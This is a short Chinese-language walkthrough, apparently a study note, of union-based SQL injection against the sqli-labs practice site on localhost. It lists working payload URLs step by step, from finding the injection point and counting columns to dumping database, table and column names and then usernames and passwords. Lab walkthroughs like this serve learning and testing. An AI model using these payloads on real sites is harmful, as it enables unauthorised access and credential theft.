sql注入之聯合語句查詢

1.下判斷注入點

  and 1=1,and 1=2; '

捕獲.GIF

2.用order by 查看數據庫存在的字段

    http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3#

捕獲2.GIF

  http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4#

   捕獲1.GIF

3.用union進行聯合查詢,找到數據庫名稱顯示的字段

  http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,3#

   捕獲3.GIF

4.爆出數據庫名稱和用戶名

  http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,database(),current_user()#

   捕獲4.GIF

  爆出所有數據庫

   http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,group_concat(schema_name) from information_schema.schemata#

    捕獲8.GIF

5.爆出數據庫中存在的表名

http://127.0.0.1/sqli-labs-master/Less-2/?id=0  union select 1,(select group_concat(table_name) from information_schema.tables where table_schema =‘security’),3--+

捕獲5.GIF

6.爆出表中存在的列名

   http://127.0.0.1/sql/Less-2/?id=0 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3-- +

   捕獲6.GIF

7.爆出用戶名密碼

    http://127.0.0.1/sql/Less-1/?id=0 union select 1,(select concat_ws(0x7e,username,password) from users limit 1,1),3-- +

    捕獲7.GIF

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章